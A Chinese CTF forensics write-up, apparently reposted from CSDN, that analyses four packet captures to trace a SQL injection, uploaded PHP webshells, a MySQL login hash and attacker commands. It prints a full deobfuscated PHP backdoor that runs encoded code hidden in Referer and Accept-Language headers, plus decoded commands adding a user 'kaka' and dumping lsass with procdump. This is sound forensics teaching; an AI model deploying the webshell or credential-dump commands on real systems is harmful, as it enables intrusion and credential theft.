CTF数据分析题详解

目录

题目一(1.pcap)

题目二(2.pcap)

题目三(3.pcap)

题目四(4.pcap)


CTF流量分析经典例题详解-CSDN博客

本文章涉及的所有题目附件下载地址: 链接:

https://pan.baidu.com/s/18mWo5vn1zp_XbmcQrMOKRA 提取码:hrc4

声明:这里的例题都是已经总结好的,我只是在本篇中进行学习和复现

题目一(1.pcap)

题目来源:2018信息安全铁人三项数据赛

题目要求:

1.黑客攻击的第一个受害主机的网卡IP地址

2.黑客对URL的哪一个参数实施了SQL注入

3.第一个受害主机网站数据库的表前缀(加上下划线例如abc_)

4.第一个受害主机网站数据库的名字

首先我们使用Wireshark打开这个数据包

注:这个包比较大,打开可能会话费一点时间

打开之后可以看到里面的内容确实是非常的多,因为该题目并不需要找flag,因此也就不需要去使用查找来查找flag了,而且题目中已经给了我们要求

(1)那么看看第一个,寻找受害主机的网卡ip地址

根据后面的问题该包中应该有黑客试试SQL注入的过程,既然是SQL注入那么应该是有使用HTTP协议参与,那么我们试着筛选一下HTTP协议的数据包

可以看到,这里始终是202.1.1.2向192.168.1.8进行GET请求,192.168.1.8对202.1.1.2的请求包做出相应,并且每次GET请求的内容还是不同的,从这些方面可以看出来,攻击者的ip为202.1.1.2受害者的ip地址为192.168.1.8

这里就回答了第一个问题:受害者的网卡ip为:192.168.1.8

(2)第二个问题,黑客对URL的哪一个参数实施了SQL注入

我们再次分析一下这个包,看到下面时,SQL注入已经显现了出来,根据GET后面传输的数据可以看出黑客注入的参数

第二个问题的答案就是:黑客传入的参数为list[select]

(3) 第三个问题,第一个受害主机网站数据库的表前缀(加上下划线例如abc_)

既然需要找受害主机网站数据库的表前缀,那么我们试着对攻击者的注入行为进行一个数据流追踪

现在第三个问题的答案也就出来了:可以清楚的从追踪的HTTP数据流中看到数据的表前缀应该为:ajtuc_

(4)最后一个问题,第一个受害主机网站数据库的名字

现在就剩下最后一个问题了,要找出受害网站数据库的名称,这也很简单的,使用同样的方追踪最后一次SQL注入的数据流,但是好像里面并没有数据库名称,这时因为上面我们选择了一个任意的一个数据包,里面可以还未正在注入出数据库名

注:这里选取的数据包是进行最后一次SQL注入的数据包,因为一次成功的SQL注入,最后一次注入一般都是已经知道数据库名称、数据库中的表名称、表中的字段名称了

其实在下面的HTTP包中我么已经可以看到一个疑似数据库名的了,稳妥起见我们还是将GET传入的参数进行URL解码

可以看到解码后的数据库名就很明显了

因此最后一个问题的答案就是joomla

注:既然题目问的都是第一次的我们可以使用下面的语句来缩小查找范围:

(ip.addr==202.1.1.2 || ip.addr == 192.168.1.8) && http

题目二(2.pcap)

题目来源:2018信息安全铁人三项数据赛

题目要求:

1.黑客第一次获得的php木马的密码是什么 (POST)

2.黑客第二次上传php木马是什么时间 (POST)

3.第二次上传的木马通过HTTP协议中的哪个头传递数据

首先我们使用Wireshark打开这个数据包

这几个题目之间是有关联的,因此我们已经将攻击者和受害者的ip地址知道了,这里可以直接来筛选以缩小查找范围

(ip.addr == 192.168.1.8 || ip.addr == 202.1.1.2) && http

(1)直接看第一个问题,黑客第一次获得的php木马的密码是什么 (POST)

php木马的密码应该是黑客使用POST传参传递到客户端的一个恶意php文件,首先必须要知道这个文件是哪个,那么我们分析了一下这些数据包发现有个很可疑的文件

点开该文件后,会发现这正是黑客上传的php木马文件,同样可以看到该木马的密码为zzz

因此第一个问题的答案就是zzz

(2)再来看看第二个问题,黑客第二次上传php木马是什么时间 (POST)

第二次上传木马的时间,那么首先我们需要找到第二次上传的木马,分析了一些数据包后

分析这几个包的区别之后发现,这个z2非常可疑,因此对它里面的内容进行了复制,然后使用HXD打开

将文件保存为php,但是代码经过混淆过的,在代码末尾加上下面两句代码

var_dump($j);
var_dump($x);

将该文件上传到kail中,然后运行php进行解混淆,发现这就是木马

由此可确定这个引人注目的包上传了第二个木马 在Wireshark中查看第二个包的上传时间

因此第二题的答案:上传时间为:17:20:44.248365

(3)最后一个问题,第二次上传的木马通过HTTP协议中的哪个头传递数据

我们将上面的目php木马文件代码美化后:

$kh = "cb42";
$kf = "e130";
function x($t, $k)
{$c = strlen($k);$l = strlen($t);$o = "";for ($i = 0; $i < $l;) {for ($j = 0; ($j < $c && $i < $l); $j++, $i++) {$o .= $t{$i} ^ $k{$j};}}return $o;
}$r = $_SERVER;
$rr = @$r["HTTP_REFERER"];
$ra = @$r["HTTP_ACCEPT_LANGUAGE"];
if ($rr && $ra) {$u = parse_url($rr); //这里会分解parse_str($u["query"], $q);$q = array_values($q);preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/", $ra, $m);//一共有三个分组,if ($q && $m) {@session_start();$s =& $_SESSION;$ss = "substr";$sl = "strtolower";$i = $m[1][0] . $m[1][4];$h = $sl($ss(md5($i . $kh), 0, 3));$f = $sl($ss(md5($i . $kf), 0, 3));$p = "";for ($z = 1; $z < count($m[1]); $z++) $p .= $q[$m[2][$z]];if (strpos($p, $h) === 0) {$s[$i] = "";$p = $ss($p, 3);}if (array_key_exists($i, $s)) {$s[$i] .= $p;$e = strpos($s[$i], $f);if ($e) {$k = $kh . $kf;ob_start();@eval(@gzuncompress(@x(@base64_decode(preg_replace(array("/_/", "/-/"), array("/", "+"), $ss($s[$i], 0, $e))), $k)));$o = ob_get_contents();ob_end_clean();$d = base64_encode(x(gzcompress($o), $k));print("<$k>$d</$k>");@session_destroy();}}}
}

可以看到

$rr = @$_SERVER["HTTP_REFERER"];
$ra = @$_SERVER["HTTP_ACCEPT_LANGUAGE"];

这两个参数和HTTP有关

我们再分析一个这个数据包,发现可以看到许多请求footer.php的页面,点开一个查看详情

会发现这里的referer很可疑,而accept-language是正常的因此第三个问题的答案也就呼之欲出了

第二次上传的木马是通过HTTP协议中的referer头

题目三(3.pcap)

题目来源:2018信息安全铁人三项数据赛

题目要求:

1.内网主机的mysql用户名和请求连接的密码hash是多少(用户:密码hash)

2.php代理第一次被使用时最先连接了哪个IP地址

首先我们使用Wireshark打开这个数据包

(1)可以看到第一个问题问的是mysql的用户名和密码的哈希值

那么我们先来筛选一下mysql服务

tcp contains "mysql" && mysql

通过筛选的结果可以看到,这个数据包中有很多登录请求,并且用户名为admin,第一个问题的答案就出现了一半了,还需要正确的哈希密码,我们可以想一下,只有在输入了正确的用户名和密码后才会登录成功,因此我们打开最后一次登录的请求包

这样就得到了正确的用户名和密码:admin:1a3068c3e29e03e3bcfdba6f8669ad23349dc6c4

(2)来看看第二个问题问的啥,php代理第一次被使用时最先连接了哪个IP地址

首先我们还是过滤一下ip地址与协议

(ip.addr == 192.168.1.8 || ip.addr == 202.1.1.2) && http

然后对这些数据包进行分析

 发现了这个比较可疑的数据包,因此它这里有连接的操作,因此第二个问题的答案就出来了,

连接的ip地址为:4.2.2.2

题目四(4.pcap)

题目来源:2018信息安全铁人三项数据赛

题目要求:

1.黑客第一次获取到当前目录下的文件列表的漏洞利用请求发生在什么时候

2.黑客在内网主机中添加的用户名和密码是多少

3.黑客从内网服务器中下载下来的文件名

首先我们使用Wireshark打开这个数据包

(1)首先是第一个问题:黑客第一次获取到当前目录下的文件列表的漏洞利用请求发生在什么时候

为确定黑客第一次获取到当前目录下的文件列表的漏洞利用请求发生在什么时候,我们继续进行过滤,源ip地址和目标ip地址我们都是知道的,因此直接筛选缩小范围,然后就是如果黑客需要拿取目标主机中的文件,就会指定dir或者ls命令来列出当前目录中有那些文件,因此我们还需要过滤字符ls和dir

(ip.addr == 192.168.1.8 || ip.addr == 202.1.1.2) && (http contains "dir" || http contains "ls")

筛选的结果很明显可以看出来,黑客确实使用了ls和dir这两个命令

我们可以分别对这两个数据包进行流量追踪,看其是否可以执行成功

 

可以看懂ls命令并没有执行成功

可以看到dir命令是执行成功的,因此我们可以判断出目标主机是windows操作系统的,并且本题的答案也就出来了,也就是这个数据包执行的时间:  2018 18:36:59.770782000 

(2)第二个问题是黑客在内网主机中添加的用户名和密码是多少

根据提示我们可以使用以下命令来查看攻击者如何实施的攻击,也就有可能能从中找到黑客添加的用户名和密码

ip.addr == 192.168.2.20 && http

 从这里可以看到黑客给名为sh.php文件中写入了后门

根据提示我们可以使用以下命令来仅对黑客执行的操作的数据包进行过滤分析

ip.src == 192.168.2.20 && http

在18:50:09.344660时,我们发现可疑操作,我们发现一条可疑数据,判断黑客应该是执行了net user的命令

然后在18:50:42.908737发现黑客再次执行了net user命令 此时回显为:

 

 看来黑客成功添加了管理员用户kaka 确定了大致的作案时间

根据之前的判断,我们可以知道 18:49:27.767754时,不存在kaka用户 18:50:42.908737时,kaka用户已成为管理员 所以可以断定作案时间点在这段时间内

在此期间,一共4个POST请求,我们挨个查看,果不其然,在第一个POST中就发现了问题

Y2QvZCJDOlxwaHBTdHVkeVxXV1dcYjJldm9sdXRpb25caW5zdGFsbFx0ZXN0XCImbmV0IHVzZXIg
a2FrYSBrYWthIC9hZGQmZWNobyBbU10mY2QmZWNobyBbRV0=

解码后

cd/d"C:\phpStudy\WWW\b2evolution\install\test\"&net user kaka kaka /add&echo [S]&cd&echo [E]

可以明显看到

net user kaka kaka /add

于是可以断定,用户名和密码均为kaka

(3)最后一个问题问黑客从内网服务器中下载了的文件名

最后一题既然是下载,应该是利用中国菜刀进行下载了,那我们只过滤出post流量,查看命令即可

ip.dst == 192.168.2.20 && http.request.method==POST

然后我们在数据包的最后发现如下数据

我们将其进行base64解码后的结果:

cd/d"C:\phpStudy\WWW\b2evolution\install\test\"&procdump.exe -accepteula -ma lspasss.dmp&echo [S]&cd&echo [E]

可以看到其用了procdump.exe,并且发现了文件

将其解码:

C:\phpStudy\WWW\b2evolution\install\test\lsass.exe_180208_185247.dmp

 可以看到我们最后一个问题的答案出现了:lsass.exe_180208_185247.dmp

到此。四个数据分析题就演示完毕了(^▽^)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/605093.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

WorkPlus AI助理为企业提供智能客服的机器人解决方案

在数字化时代&#xff0c;企业面临着客户服务的重要挑战。AI客服机器人成为了提升客户体验和提高工作效率的关键工具。作为一款优秀的AI助理&#xff0c;WorkPlus AI助理以其智能化的特点和卓越的功能&#xff0c;为企业提供了全新的客服机器人解决方案。 为什么选择WorkPlus A…

Python机器学习入门必学必会:机器学习与Python基础

1.机器学习常见的基础概念 根据输入数据是否具有“响应变量”信息&#xff0c;机器学习被分为“监督式学习”和“非监督式学习”。“监督式学习”即输入数据中即有X变量&#xff0c;也有y变量&#xff0c;特色在于使用“特征&#xff08;X变量&#xff09;”来预测“响应变量&…

【Python从入门到进阶】46、58同城Scrapy项目案例介绍

接上篇《45、Scrapy框架核心组件介绍》 上一篇我们学习了Scrapy框架的核心组件的使用。本篇我们进入实战第一篇&#xff0c;以58同城的Scrapy项目案例&#xff0c;结合实际再次巩固一下项目结构以及代码逻辑的用法。 一、案例网站介绍 58同城是一个生活服务类平台&#xff0c…

【分布式】分布式链路跟踪技术

为什么需要分布式链路追踪 提到分布式链路追踪&#xff0c;我们要先提到微服务。相信很多人都接触过微服务。微服务是一种开发软件的架构和组织方法&#xff0c;它侧重将服务解耦&#xff0c;服务之间通过API通信。使应用程序更易于扩展和更快地开发&#xff0c;从而加速新功能…

Go-gin-example 添加注释 第一部分 新建项目及api编写

文章目录 go-gin-example环境准备初始化 Go Modules基础使用 gin 安装测试gin是否引入 gin搭建Blog APIsgo-ini简述配置文件 阶段目标 编写简单API错误码包 完成一个demo初始化项目初始化项目数据库编写项目配置包拉取go-ini配置包在conf目录下新建app.ini文件&#xff0c;写入…

【操作系统篇】什么是分段和分页

什么是分段和分页 ✔️ 典型解析✔️分页✔️页表✔️分段&#xff08;Segmentation&#xff09;✔️ 分段和分页的区别✔️分页和分段哪个更耗资源✔️它们对性能的影响是怎样的✔️分段和分页分别适合什么场景 ✔️ 典型解析 在操作系统中&#xff0c;分段和分页是两种不同的…

在做题中学习(43):长度最小的子数组

LCR 008. 长度最小的子数组 - 力扣&#xff08;LeetCode&#xff09; 解法&#xff1a;同向双指针-------滑动窗口算法 解释&#xff1a;本是暴力枚举做法&#xff0c;因为全部是正整数&#xff0c;就可以利用单调性和双指针解决问题来节省时间 思路&#xff1a; 如上面图&am…

ES -极客学习

Elasticsearch 简介及其发展历史 起源 Lucene 于 Java 语言开发的搜索引擎库类创建于 1999 年&#xff0c;2005 年成为 Apache 顶级开源项目Lucene 具有高性能、易扩展的优点Lucene 的局限性 只能基于 Java 语言开发类库的接口学习曲线陡峭原生并不支持水平扩展原生并不支持水…

如何找到 niche 出海细分市场的 IDEA

先说结论就是&#xff1a;看榜单 Why&#xff1a;为什么看榜单&#xff1f; 大家会问为什么&#xff1f;原因很简单&#xff1a; 熟读唐诗三百首&#xff0c;不会作诗也会吟不天天看榜单上相关的优秀同行&#xff0c;你想干啥 心法就是下苦功夫坚持&#xff0c;量变引起质变…

Nginx 文件名逻辑漏洞(CVE-2013-4547)

目录 Nginx 文件名逻辑漏洞&#xff08;CVE-2013-4547&#xff09; 1.cd到CVE-2013-4547 2.执行docker-compose up -d 3.查看靶场是否开启成功 4.访问浏览器 5.上传含有一句话木马的图片 6.burp抓包 7.在shell.gif加空格 8.放包 9.访问路径 10.继续抓包 11.在aa后面…

优化器(一)torch.optim.SGD-随机梯度下降法

torch.optim.SGD-随机梯度下降法 import torch import torchvision.datasets from torch import nn from torch.utils.data import DataLoaderdataset torchvision.datasets.CIFAR10(root./data, trainFalse, downloadTrue,transformtorchvision.transforms.ToTensor()) data…

2、Excel:基础概念、表格结构与常见函数

数据来源&#xff1a;八月成交数据 数据初探 业务背景 数据来源行业&#xff1a;金融行业&#xff08;根据应收利息和逾期金额字段来判断&#xff09; 可以猜测&#xff1a; 业务主体&#xff1a;某互联网金融公司&#xff08;类似支付宝&#xff09;也业务模式&#xff1a;给…

群晖安装MariaDB

群晖安装MariaDB 在套件中心安装MariaDB给root开启远程访问权限使用工具连接数据库 在套件中心安装MariaDB 给root开启远程访问权限 # ssh 登陆群晖后执行下面操作 $ mysql -uroot -p[数据库密码] $ use mysql; $ select User,authentication_string,Host from user; # 查看账…

【数据结构—排序—交换排序】

提示&#xff1a;文章写完后&#xff0c;目录可以自动生成&#xff0c;如何生成可参考右边的帮助文档 文章目录 前言 一、排序的概念及其运用 1、排序的概念 2、排序运用 3、 常见的排序算法 二、交换排序 1、冒泡排序 1.1算法讲解 1.2冒泡排序的实现&#xff1a; 1.2.1头文件的…

web前端开发技术复习问答题

目录 1.简述常见单标签和双标签有哪些&#xff1f; 2.常见块级元素和行级元素有哪些&#xff1f; 3.简述常见的列表有哪些&#xff1f;他们有什么区别&#xff1f; 4.简述超链接的href属性值如何设置&#xff1f;有什么区别 5.CSS基本语法 6. css中常见的引入方式有几种&…

程序员做私活赚外快的好地方,今天推荐几个

你们当程序员不会都拿着几千、万把块钱的死工资吧&#xff0c;今天为大家分享一些可以接私单的平台&#xff0c;我反正已经赚麻了。 如果你的工作相对没那么费时间&#xff0c;可以空闲的时候去接点私活。或者是还没有找工作之前&#xff0c;可以通过一些平台接一些兼职&#…

【STM32】PWR电源控制

1 PWR简介 PWR&#xff08;Power Control&#xff09;电源控制 PWR负责管理STM32内部的电源供电部分&#xff0c;可以实现可编程电压监测器和低功耗模式的功能 可编程电压监测器&#xff08;PVD&#xff09;可以监控VDD电源电压&#xff0c;当VDD下降到PVD阀值以下或上升到P…

回首2023,厉兵秣马,启航2024

目录 回首风波的20232023&#xff0c;感恩相遇暂停发文发文狂潮感恩有你备战2024学习之余跆拳道比赛做手工diy 学习心路年初学习伊始心路其后学习后来心路 必须看配图说明 未知的2024Flag 回首风波的2023 2023&#xff0c;感恩相遇 还记得&#xff0c;22年末&#xff0c;23年…

基于gitlab 12.8.0版本的完整镜像过程

目前已在一台服务器上安装了gitlab 12.8.0&#xff0c;并且稳定运行了有几年了&#xff0c;其上面也创建了大量的项目。目前要求对该gitlab及其上面的所有仓库做一个完整的镜像。具体操作过程如下&#xff1a; 1、确认现有的gitlab的版本号 2、到gitlab官网下载相同版本号的gi…

GitLab添加SSH key

SSH 为 Secure Shell 的缩写&#xff0c;SSH 为建立在应用层基础上的安全协议。 SSH 是目前较可靠&#xff0c;专为远程登录会话和其他网络服务提供安全性的协议。 利用 SSH 协议可以有效防止远程管理过程中的信息泄露问题。 ssh-keygen 从客户端来看&#xff0c;SSH提供两种级…